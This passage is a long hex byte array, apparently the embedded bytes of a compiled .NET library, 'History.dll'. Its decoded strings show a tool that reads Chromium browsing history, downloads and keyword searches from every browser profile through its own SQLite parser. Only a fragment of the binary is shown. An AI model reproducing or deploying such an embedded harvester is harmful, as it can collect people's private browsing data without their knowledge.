0x75, 0x74, 0x65, 0x00, 0x43, 0x6F, 0x6D, 0x56, 0x69, 0x73, 0x69, 0x62, 0x6C, 0x65, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x41, 0x73, 0x73, 0x65, 0x6D, 0x62, 0x6C, 0x79, 0x54, 0x69, 0x74, 0x6C, 0x65, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x41, 0x73, 0x73, 0x65, 0x6D, 0x62, 0x6C, 0x79, 0x54, 0x72, 0x61, 0x64, 0x65, 0x6D, 0x61, 0x72, 0x6B, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x46, 0x72, 0x61, 0x6D, 0x65, 0x77, 0x6F, 0x72, 0x6B, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x41, 0x73, 0x73, 0x65, 0x6D, 0x62, 0x6C, 0x79, 0x46, 0x69, 0x6C, 0x65, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6F, 0x6E, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x41, 0x73, 0x73, 0x65, 0x6D, 0x62, 0x6C, 0x79, 0x43, 0x6F, 0x6E, 0x66, 0x69, 0x67, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x41, 0x73, 0x73, 0x65, 0x6D, 0x62, 0x6C, 0x79, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x43, 0x6F, 0x6D, 0x70, 0x69, 0x6C, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x52, 0x65, 0x6C, 0x61, 0x78, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x73, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x41, 0x73, 0x73, 0x65, 0x6D, 0x62, 0x6C, 0x79, 0x50, 0x72, 0x6F, 0x64, 0x75, 0x63, 0x74, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x41, 0x73, 0x73, 0x65, 0x6D, 0x62, 0x6C, 0x79, 0x43, 0x6F, 0x70, 0x79, 0x72, 0x69, 0x67, 0x68, 0x74, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x41, 0x73, 0x73, 0x65, 0x6D, 0x62, 0x6C, 0x79, 0x43, 0x6F, 0x6D, 0x70, 0x61, 0x6E, 0x79, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x52, 0x75, 0x6E, 0x74, 0x69, 0x6D, 0x65, 0x43, 0x6F, 0x6D, 0x70, 0x61, 0x74, 0x69, 0x62, 0x69, 0x6C, 0x69, 0x74, 0x79, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x42, 0x79, 0x74, 0x65, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x56, 0x61, 0x6C, 0x75, 0x65, 0x00, 0x47, 0x65, 0x74, 0x56, 0x61, 0x6C, 0x75, 0x65, 0x00, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x00, 0x53, 0x51, 0x4C, 0x44, 0x61, 0x74, 0x61, 0x54, 0x79, 0x70, 0x65, 0x53, 0x69, 0x7A, 0x65, 0x00, 0x70, 0x61, 0x67, 0x65, 0x5F, 0x73, 0x69, 0x7A, 0x65, 0x00, 0x49, 0x6E, 0x64, 0x65, 0x78, 0x4F, 0x66, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x65, 0x74, 0x61, 0x67, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x65, 0x74, 0x61, 0x67, 0x00, 0x45, 0x6E, 0x63, 0x6F, 0x64, 0x69, 0x6E, 0x67, 0x00, 0x65, 0x6E, 0x63, 0x6F, 0x64, 0x69, 0x6E, 0x67, 0x00, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2E, 0x52, 0x75, 0x6E, 0x74, 0x69, 0x6D, 0x65, 0x2E, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6F, 0x6E, 0x69, 0x6E, 0x67, 0x00, 0x54, 0x6F, 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x00, 0x47, 0x65, 0x74, 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x00, 0x53, 0x75, 0x62, 0x73, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x00, 0x48, 0x69, 0x73, 0x74, 0x6F, 0x72, 0x79, 0x5F, 0x4C, 0x6F, 0x67, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x68, 0x61, 0x73, 0x68, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x68, 0x61, 0x73, 0x68, 0x00, 0x4D, 0x61, 0x74, 0x68, 0x00, 0x47, 0x65, 0x74, 0x46, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x50, 0x61, 0x74, 0x68, 0x00, 0x44, 0x69, 0x72, 0x65, 0x63, 0x74, 0x6F, 0x72, 0x79, 0x50, 0x61, 0x74, 0x68, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x5F, 0x70, 0x61, 0x74, 0x68, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x5F, 0x70, 0x61, 0x74, 0x68, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6E, 0x74, 0x5F, 0x70, 0x61, 0x74, 0x68, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6E, 0x74, 0x5F, 0x70, 0x61, 0x74, 0x68, 0x00, 0x44, 0x65, 0x63, 0x69, 0x6D, 0x61, 0x6C, 0x00, 0x48, 0x69, 0x73, 0x74, 0x6F, 0x72, 0x79, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x74, 0x61, 0x62, 0x5F, 0x75, 0x72, 0x6C, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x74, 0x61, 0x62, 0x5F, 0x75, 0x72, 0x6C, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x73, 0x69, 0x74, 0x65, 0x5F, 0x75, 0x72, 0x6C, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x73, 0x69, 0x74, 0x65, 0x5F, 0x75, 0x72, 0x6C, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x74, 0x61, 0x62, 0x5F, 0x72, 0x65, 0x66, 0x65, 0x72, 0x72, 0x65, 0x72, 0x5F, 0x75, 0x72, 0x6C, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x74, 0x61, 0x62, 0x5F, 0x72, 0x65, 0x66, 0x65, 0x72, 0x72, 0x65, 0x72, 0x5F, 0x75, 0x72, 0x6C, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x75, 0x72, 0x6C, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x75, 0x72, 0x6C, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x49, 0x74, 0x65, 0x6D, 0x00, 0x46, 0x69, 0x6C, 0x65, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x6E, 0x6F, 0x72, 0x6D, 0x61, 0x6C, 0x69, 0x7A, 0x65, 0x64, 0x5F, 0x74, 0x65, 0x72, 0x6D, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x6E, 0x6F, 0x72, 0x6D, 0x61, 0x6C, 0x69, 0x7A, 0x65, 0x64, 0x5F, 0x74, 0x65, 0x72, 0x6D, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x74, 0x65, 0x72, 0x6D, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x74, 0x65, 0x72, 0x6D, 0x00, 0x72, 0x6F, 0x6F, 0x74, 0x5F, 0x6E, 0x75, 0x6D, 0x00, 0x72, 0x6F, 0x77, 0x5F, 0x6E, 0x75, 0x6D, 0x00, 0x54, 0x69, 0x6D, 0x65, 0x53, 0x70, 0x61, 0x6E, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x68, 0x69, 0x64, 0x64, 0x65, 0x6E, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x68, 0x69, 0x64, 0x64, 0x65, 0x6E, 0x00, 0x46, 0x69, 0x6C, 0x65, 0x4F, 0x70, 0x65, 0x6E, 0x00, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2E, 0x52, 0x65, 0x66, 0x6C, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x00, 0x45, 0x78, 0x63, 0x65, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x72, 0x75, 0x70, 0x74, 0x5F, 0x72, 0x65, 0x61, 0x73, 0x6F, 0x6E, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x72, 0x75, 0x70, 0x74, 0x5F, 0x72, 0x65, 0x61, 0x73, 0x6F, 0x6E, 0x00, 0x43, 0x6F, 0x6D, 0x70, 0x61, 0x72, 0x65, 0x54, 0x6F, 0x00, 0x5A, 0x65, 0x72, 0x6F, 0x00, 0x43, 0x68, 0x61, 0x72, 0x00, 0x53, 0x70, 0x65, 0x63, 0x69, 0x61, 0x6C, 0x46, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x00, 0x43, 0x6F, 0x6E, 0x76, 0x65, 0x72, 0x74, 0x54, 0x6F, 0x49, 0x6E, 0x74, 0x65, 0x67, 0x65, 0x72, 0x00, 0x4B, 0x65, 0x79, 0x77, 0x6F, 0x72, 0x64, 0x73, 0x55, 0x72, 0x6C, 0x4D, 0x61, 0x74, 0x63, 0x68, 0x65, 0x72, 0x00, 0x53, 0x51, 0x4C, 0x69, 0x74, 0x65, 0x48, 0x61, 0x6E, 0x64, 0x6C, 0x65, 0x72, 0x00, 0x53, 0x51, 0x4C, 0x5F, 0x48, 0x65, 0x6C, 0x70, 0x65, 0x72, 0x00, 0x47, 0x65, 0x74, 0x4B, 0x65, 0x79, 0x77, 0x6F, 0x72, 0x64, 0x73, 0x48, 0x65, 0x6C, 0x70, 0x65, 0x72, 0x00, 0x55, 0x72, 0x6C, 0x73, 0x48, 0x65, 0x6C, 0x70, 0x65, 0x72, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x72, 0x65, 0x66, 0x65, 0x72, 0x72, 0x65, 0x72, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x72, 0x65, 0x66, 0x65, 0x72, 0x72, 0x65, 0x72, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x62, 0x72, 0x6F, 0x77, 0x73, 0x65, 0x72, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x62, 0x72, 0x6F, 0x77, 0x73, 0x65, 0x72, 0x00, 0x42, 0x69, 0x74, 0x43, 0x6F, 0x6E, 0x76, 0x65, 0x72, 0x74, 0x65, 0x72, 0x00, 0x54, 0x6F, 0x4C, 0x6F, 0x77, 0x65, 0x72, 0x00, 0x47, 0x65, 0x74, 0x45, 0x6E, 0x75, 0x6D, 0x65, 0x72, 0x61, 0x74, 0x6F, 0x72, 0x00, 0x2E, 0x63, 0x74, 0x6F, 0x72, 0x00, 0x2E, 0x63, 0x63, 0x74, 0x6F, 0x72, 0x00, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2E, 0x44, 0x69, 0x61, 0x67, 0x6E, 0x6F, 0x73, 0x74, 0x69, 0x63, 0x73, 0x00, 0x46, 0x72, 0x6F, 0x6D, 0x53, 0x65, 0x63, 0x6F, 0x6E, 0x64, 0x73, 0x00, 0x4B, 0x65, 0x79, 0x77, 0x6F, 0x72, 0x64, 0x73, 0x00, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2E, 0x52, 0x75, 0x6E, 0x74, 0x69, 0x6D, 0x65, 0x2E, 0x49, 0x6E, 0x74, 0x65, 0x72, 0x6F, 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x00, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x2E, 0x56, 0x69, 0x73, 0x75, 0x61, 0x6C, 0x42, 0x61, 0x73, 0x69, 0x63, 0x2E, 0x43, 0x6F, 0x6D, 0x70, 0x69, 0x6C, 0x65, 0x72, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x00, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2E, 0x52, 0x75, 0x6E, 0x74, 0x69, 0x6D, 0x65, 0x2E, 0x43, 0x6F, 0x6D, 0x70, 0x69, 0x6C, 0x65, 0x72, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x00, 0x44, 0x65, 0x62, 0x75, 0x67, 0x67, 0x69, 0x6E, 0x67, 0x4D, 0x6F, 0x64, 0x65, 0x73, 0x00, 0x47, 0x65, 0x74, 0x44, 0x69, 0x72, 0x65, 0x63, 0x74, 0x6F, 0x72, 0x69, 0x65, 0x73, 0x00, 0x6D, 0x61, 0x73, 0x74, 0x65, 0x72, 0x5F, 0x74, 0x61, 0x62, 0x6C, 0x65, 0x5F, 0x65, 0x6E, 0x74, 0x72, 0x69, 0x65, 0x73, 0x00, 0x47, 0x65, 0x74, 0x41, 0x6C, 0x6C, 0x50, 0x72, 0x6F, 0x66, 0x69, 0x6C, 0x65, 0x73, 0x00, 0x47, 0x65, 0x74, 0x54, 0x61, 0x62, 0x6C, 0x65, 0x4E, 0x61, 0x6D, 0x65, 0x73, 0x00, 0x66, 0x69, 0x65, 0x6C, 0x64, 0x5F, 0x6E, 0x61, 0x6D, 0x65, 0x73, 0x00, 0x47, 0x65, 0x74, 0x42, 0x79, 0x74, 0x65, 0x73, 0x00, 0x64, 0x62, 0x5F, 0x62, 0x79, 0x74, 0x65, 0x73, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x72, 0x65, 0x63, 0x65, 0x69, 0x76, 0x65, 0x64, 0x5F, 0x62, 0x79, 0x74, 0x65, 0x73, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x72, 0x65, 0x63, 0x65, 0x69, 0x76, 0x65, 0x64, 0x5F, 0x62, 0x79, 0x74, 0x65, 0x73, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x74, 0x6F, 0x74, 0x61, 0x6C, 0x5F, 0x62, 0x79, 0x74, 0x65, 0x73, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x74, 0x6F, 0x74, 0x61, 0x6C, 0x5F, 0x62, 0x79, 0x74, 0x65, 0x73, 0x00, 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x73, 0x00, 0x43, 0x68, 0x72, 0x6F, 0x6D, 0x69, 0x75, 0x6D, 0x50, 0x61, 0x74, 0x68, 0x73, 0x00, 0x55, 0x74, 0x69, 0x6C, 0x73, 0x00, 0x4B, 0x65, 0x79, 0x77, 0x6F, 0x72, 0x64, 0x73, 0x55, 0x72, 0x6C, 0x73, 0x00, 0x6B, 0x65, 0x79, 0x77, 0x6F, 0x72, 0x64, 0x5F, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x5F, 0x74, 0x65, 0x72, 0x6D, 0x73, 0x00, 0x43, 0x6F, 0x6E, 0x74, 0x61, 0x69, 0x6E, 0x73, 0x00, 0x43, 0x6F, 0x6E, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6F, 0x6E, 0x73, 0x00, 0x52, 0x75, 0x6E, 0x74, 0x69, 0x6D, 0x65, 0x48, 0x65, 0x6C, 0x70, 0x65, 0x72, 0x73, 0x00, 0x47, 0x65, 0x74, 0x55, 0x72, 0x6C, 0x73, 0x48, 0x65, 0x6C, 0x70, 0x65, 0x72, 0x73, 0x00, 0x4F, 0x70, 0x65, 0x6E, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x00, 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, 0x00, 0x43, 0x6F, 0x6E, 0x63, 0x61, 0x74, 0x00, 0x53, 0x75, 0x62, 0x74, 0x72, 0x61, 0x63, 0x74, 0x00, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x00, 0x46, 0x69, 0x6C, 0x65, 0x47, 0x65, 0x74, 0x00, 0x52, 0x65, 0x61, 0x64, 0x54, 0x61, 0x62, 0x6C, 0x65, 0x46, 0x72, 0x6F, 0x6D, 0x4F, 0x66, 0x66, 0x73, 0x65, 0x74, 0x00, 0x53, 0x70, 0x6C, 0x69, 0x74, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x44, 0x65, 0x66, 0x61, 0x75, 0x6C, 0x74, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x74, 0x72, 0x61, 0x6E, 0x73, 0x69, 0x65, 0x6E, 0x74, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x74, 0x72, 0x61, 0x6E, 0x73, 0x69, 0x65, 0x6E, 0x74, 0x00, 0x73, 0x71, 0x6C, 0x5F, 0x73, 0x74, 0x61, 0x74, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x00, 0x45, 0x6E, 0x76, 0x69, 0x72, 0x6F, 0x6E, 0x6D, 0x65, 0x6E, 0x74, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6E, 0x74, 0x00, 0x63, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x00, 0x47, 0x65, 0x74, 0x52, 0x6F, 0x77, 0x43, 0x6F, 0x75, 0x6E, 0x74, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x74, 0x79, 0x70, 0x65, 0x64, 0x5F, 0x63, 0x6F, 0x75, 0x6E, 0x74, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x74, 0x79, 0x70, 0x65, 0x64, 0x5F, 0x63, 0x6F, 0x75, 0x6E, 0x74, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x76, 0x69, 0x73, 0x69, 0x74, 0x5F, 0x63, 0x6F, 0x75, 0x6E, 0x74, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x76, 0x69, 0x73, 0x69, 0x74, 0x5F, 0x63, 0x6F, 0x75, 0x6E, 0x74, 0x00, 0x54, 0x72, 0x69, 0x6D, 0x53, 0x74, 0x61, 0x72, 0x74, 0x00, 0x43, 0x6F, 0x6E, 0x76, 0x65, 0x72, 0x74, 0x00, 0x4D, 0x6F, 0x76, 0x65, 0x4E, 0x65, 0x78, 0x74, 0x00, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2E, 0x54, 0x65, 0x78, 0x74, 0x00, 0x65, 0x6E, 0x64, 0x49, 0x6E, 0x64, 0x65, 0x78, 0x00, 0x73, 0x74, 0x61, 0x72, 0x74, 0x49, 0x6E, 0x64, 0x65, 0x78, 0x00, 0x49, 0x6E, 0x69, 0x74, 0x69, 0x61, 0x6C, 0x69, 0x7A, 0x65, 0x41, 0x72, 0x72, 0x61, 0x79, 0x00, 0x54, 0x6F, 0x41, 0x72, 0x72, 0x61, 0x79, 0x00, 0x43, 0x6F, 0x70, 0x79, 0x41, 0x72, 0x72, 0x61, 0x79, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x4B, 0x65, 0x79, 0x00, 0x4D, 0x75, 0x6C, 0x74, 0x69, 0x70, 0x6C, 0x79, 0x00, 0x44, 0x6F, 0x77, 0x6E, 0x6C, 0x6F, 0x61, 0x64, 0x73, 0x5F, 0x52, 0x65, 0x63, 0x6F, 0x76, 0x65, 0x72, 0x79, 0x00, 0x48, 0x69, 0x73, 0x74, 0x6F, 0x72, 0x79, 0x5F, 0x52, 0x65, 0x63, 0x6F, 0x76, 0x65, 0x72, 0x79, 0x00, 0x44, 0x69, 0x72, 0x65, 0x63, 0x74, 0x6F, 0x72, 0x79, 0x00, 0x44, 0x6F, 0x77, 0x6E, 0x6C, 0x6F, 0x61, 0x64, 0x5F, 0x48, 0x69, 0x73, 0x74, 0x6F, 0x72, 0x79, 0x00, 0x6B, 0x65, 0x79, 0x77, 0x6F, 0x72, 0x64, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x54, 0x65, 0x72, 0x6D, 0x73, 0x48, 0x69, 0x73, 0x74, 0x6F, 0x72, 0x79, 0x00, 0x74, 0x61, 0x62, 0x6C, 0x65, 0x5F, 0x65, 0x6E, 0x74, 0x72, 0x79, 0x00, 0x73, 0x71, 0x6C, 0x69, 0x74, 0x65, 0x5F, 0x6D, 0x61, 0x73, 0x74, 0x65, 0x72, 0x5F, 0x65, 0x6E, 0x74, 0x72, 0x79, 0x00, 0x6F, 0x70, 0x5F, 0x45, 0x71, 0x75, 0x61, 0x6C, 0x69, 0x74, 0x79, 0x00, 0x49, 0x73, 0x4E, 0x75, 0x6C, 0x6C, 0x4F, 0x72, 0x45, 0x6D, 0x70, 0x74, 0x79, 0x00, 0x00, 0x1F, 0x53, 0x00, 0x51, 0x00, 0x4C, 0x00, 0x69, 0x00, 0x74, 0x00, 0x65, 0x00, 0x20, 0x00, 0x66, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x6D, 0x00, 0x61, 0x00, 0x74, 0x00, 0x20, 0x00, 0x33, 0x00, 0x00, 0x45, 0x4E, 0x00, 0x6F, 0x00, 0x74, 0x00, 0x20, 0x00, 0x61, 0x00, 0x20, 0x00, 0x76, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x64, 0x00, 0x20, 0x00, 0x53, 0x00, 0x51, 0x00, 0x4C, 0x00, 0x69, 0x00, 0x74, 0x00, 0x65, 0x00, 0x20, 0x00, 0x33, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x62, 0x00, 0x61, 0x00, 0x73, 0x00, 0x65, 0x00, 0x20, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x00, 0x5B, 0x41, 0x00, 0x75, 0x00, 0x74, 0x00, 0x6F, 0x00, 0x2D, 0x00, 0x76, 0x00, 0x61, 0x00, 0x63, 0x00, 0x75, 0x00, 0x75, 0x00, 0x6D, 0x00, 0x20, 0x00, 0x63, 0x00, 0x61, 0x00, 0x70, 0x00, 0x61, 0x00, 0x62, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x20, 0x00, 0x64, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x62, 0x00, 0x61, 0x00, 0x73, 0x00, 0x65, 0x00, 0x20, 0x00, 0x69, 0x00, 0x73, 0x00, 0x20, 0x00, 0x6E, 0x00, 0x6F, 0x00, 0x74, 0x00, 0x20, 0x00, 0x73, 0x00, 0x75, 0x00, 0x70, 0x00, 0x70, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x74, 0x00, 0x65, 0x00, 0x64, 0x00, 0x01, 0x0B, 0x74, 0x00, 0x61, 0x00, 0x62, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x00, 0x03, 0x28, 0x00, 0x00, 0x03, 0x20, 0x00, 0x00, 0x0D, 0x55, 0x00, 0x4E, 0x00, 0x49, 0x00, 0x51, 0x00, 0x55, 0x00, 0x45, 0x00, 0x00, 0x09, 0x75, 0x00, 0x72, 0x00, 0x6C, 0x00, 0x73, 0x00, 0x00, 0x05, 0x69, 0x00, 0x64, 0x00, 0x00, 0x07, 0x75, 0x00, 0x72, 0x00, 0x6C, 0x00, 0x00, 0x0B, 0x74, 0x00, 0x69, 0x00, 0x74, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x00, 0x17, 0x76, 0x00, 0x69, 0x00, 0x73, 0x00, 0x69, 0x00, 0x74, 0x00, 0x5F, 0x00, 0x63, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x00, 0x17, 0x74, 0x00, 0x79, 0x00, 0x70, 0x00, 0x65, 0x00, 0x64, 0x00, 0x5F, 0x00, 0x63, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x00, 0x1F, 0x6C, 0x00, 0x61, 0x00, 0x73, 0x00, 0x74, 0x00, 0x5F, 0x00, 0x76, 0x00, 0x69, 0x00, 0x73, 0x00, 0x69, 0x00, 0x74, 0x00, 0x5F, 0x00, 0x54, 0x00, 0x69, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x03, 0x30, 0x00, 0x00, 0x03, 0x31, 0x00, 0x00, 0x13, 0x64, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x6E, 0x00, 0x6C, 0x00, 0x6F, 0x00, 0x61, 0x00, 0x64, 0x00, 0x73, 0x00, 0x00, 0x09, 0x67, 0x00, 0x75, 0x00, 0x69, 0x00, 0x64, 0x00, 0x00, 0x19, 0x63, 0x00, 0x75, 0x00, 0x72, 0x00, 0x72, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x5F, 0x00, 0x70, 0x00, 0x61, 0x00, 0x74, 0x00, 0x68, 0x00, 0x00, 0x17, 0x74, 0x00, 0x61, 0x00, 0x72, 0x00, 0x67, 0x00, 0x65, 0x00, 0x74, 0x00, 0x5F, 0x00, 0x70, 0x00, 0x61, 0x00, 0x74, 0x00, 0x68, 0x00, 0x00, 0x15, 0x73, 0x00, 0x74, 0x00, 0x61, 0x00, 0x72, 0x00, 0x74, 0x00, 0x5F, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x1D, 0x72, 0x00, 0x65, 0x00, 0x63, 0x00, 0x65, 0x00, 0x69, 0x00, 0x76, 0x00, 0x65, 0x00, 0x64, 0x00, 0x5F, 0x00, 0x62, 0x00, 0x79, 0x00, 0x74, 0x00, 0x65, 0x00, 0x73, 0x00, 0x00, 0x17, 0x74, 0x00, 0x6F, 0x00, 0x74, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x5F, 0x00, 0x62, 0x00, 0x79, 0x00, 0x74, 0x00, 0x65, 0x00, 0x73, 0x00, 0x00, 0x11, 0x65, 0x00, 0x6E, 0x00, 0x64, 0x00, 0x5F, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x11, 0x73, 0x00, 0x69, 0x00, 0x74, 0x00, 0x65, 0x00, 0x5F, 0x00, 0x75, 0x00, 0x72, 0x00, 0x6C, 0x00, 0x00, 0x11, 0x72, 0x00, 0x65, 0x00, 0x66, 0x00, 0x65, 0x00, 0x72, 0x00, 0x72, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x13, 0x62, 0x00, 0x79, 0x00, 0x5F, 0x00, 0x65, 0x00, 0x78, 0x00, 0x74, 0x00, 0x5F, 0x00, 0x69, 0x00, 0x64, 0x00, 0x00, 0x17, 0x62, 0x00, 0x79, 0x00, 0x5F, 0x00, 0x65, 0x00, 0x78, 0x00, 0x74, 0x00, 0x5F, 0x00, 0x6E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x1B, 0x6C, 0x00, 0x61, 0x00, 0x73, 0x00, 0x74, 0x00, 0x5F, 0x00, 0x6D, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x69, 0x00, 0x66, 0x00, 0x69, 0x00, 0x65, 0x00, 0x64, 0x00, 0x00, 0x17, 0x68, 0x00, 0x74, 0x00, 0x74, 0x00, 0x70, 0x00, 0x5F, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x74, 0x00, 0x68, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x00, 0x0F, 0x74, 0x00, 0x61, 0x00, 0x62, 0x00, 0x5F, 0x00, 0x75, 0x00, 0x72, 0x00, 0x6C, 0x00, 0x00, 0x21, 0x74, 0x00, 0x61, 0x00, 0x62, 0x00, 0x5F, 0x00, 0x72, 0x00, 0x65, 0x00, 0x66, 0x00, 0x65, 0x00, 0x72, 0x00, 0x72, 0x00, 0x65, 0x00, 0x72, 0x00, 0x5F, 0x00, 0x75, 0x00, 0x72, 0x00, 0x6C, 0x00, 0x00, 0x29, 0x6B, 0x00, 0x65, 0x00, 0x79, 0x00, 0x77, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x64, 0x00, 0x5F, 0x00, 0x73, 0x00, 0x65, 0x00, 0x61, 0x00, 0x72, 0x00, 0x63, 0x00, 0x68, 0x00, 0x5F, 0x00, 0x74, 0x00, 0x65, 0x00, 0x72, 0x00, 0x6D, 0x00, 0x73, 0x00, 0x00, 0x15, 0x6B, 0x00, 0x65, 0x00, 0x79, 0x00, 0x77, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x64, 0x00, 0x5F, 0x00, 0x69, 0x00, 0x64, 0x00, 0x00, 0x0D, 0x75, 0x00, 0x72, 0x00, 0x6C, 0x00, 0x5F, 0x00, 0x69, 0x00, 0x64, 0x00, 0x00, 0x09, 0x74, 0x00, 0x65, 0x00, 0x72, 0x00, 0x6D, 0x00, 0x00, 0x1F, 0x6E, 